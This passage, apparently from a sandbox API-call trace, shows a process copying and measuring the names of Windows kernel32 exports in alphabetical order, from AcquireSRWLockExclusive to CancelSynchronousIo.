lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0148.248] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0148.248] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0148.248] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0148.248] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0148.248] lstrlenA (lpString="ADDATOMA") returned 8 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0148.248] lstrlenA (lpString="ADDATOMW") returned 8 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0148.248] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0148.248] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0148.248] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0148.248] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0148.248] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0148.248] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0148.248] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0148.248] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0148.249] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0148.249] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0148.249] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0148.249] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0148.249] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0148.249] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0148.249] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0148.249] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0148.249] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0148.249] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0148.249] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0148.249] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0148.249] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0148.249] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0148.249] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0148.250] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0148.250] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0148.250] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0148.250] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0148.250] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0148.250] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0148.250] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0148.250] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0148.250] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0148.250] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0148.250] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0148.250] lstrlenA (lpString="BACKUPREAD") returned 10 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0148.250] lstrlenA (lpString="BACKUPSEEK") returned 10 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0148.250] lstrlenA (lpString="BACKUPWRITE") returned 11 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0148.250] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0148.250] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0148.250] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0148.251] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0148.251] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0148.251] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0148.251] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0148.251] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0148.251] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0148.251] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0148.251] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0148.251] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0148.251] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0148.251] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0148.251] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0148.251] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0148.251] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0148.251] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.251] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0148.251] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0148.252] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0148.252] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0148.252] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0148.252] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0148.252] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0148.252] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0148.252] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0148.252] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0148.252] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0148.252] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0148.252] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0148.252] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0148.252] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0148.252] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0148.252] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0148.252] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0148.253] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0148.253] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0148.253] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0148.253] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0148.253] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0148.253] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0148.253] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0148.253] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0148.253] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0148.253] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0148.253] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0148.253] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0148.253] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0148.253] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0148.253] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0148.253] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0148.253] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0148.254] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0148.254] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0148.254] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0148.254] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0148.254] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0148.254] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0148.254] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0148.254] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0148.254] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0148.254] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0148.254] lstrlenA (lpString="BEEP") returned 4 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0148.254] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0148.254] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0148.254] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0148.254] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0148.254] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0148.254] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0148.255] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0148.255] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0148.255] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0148.255] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0148.255] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0148.255] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0148.255] lstrlenA (lpString="CANCELIO") returned 8 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0148.255] lstrlenA (lpString="CANCELIOEX") returned 10 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0148.255] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0148.255] lstrcpyA (in: lpString1=0x38bdb2c, 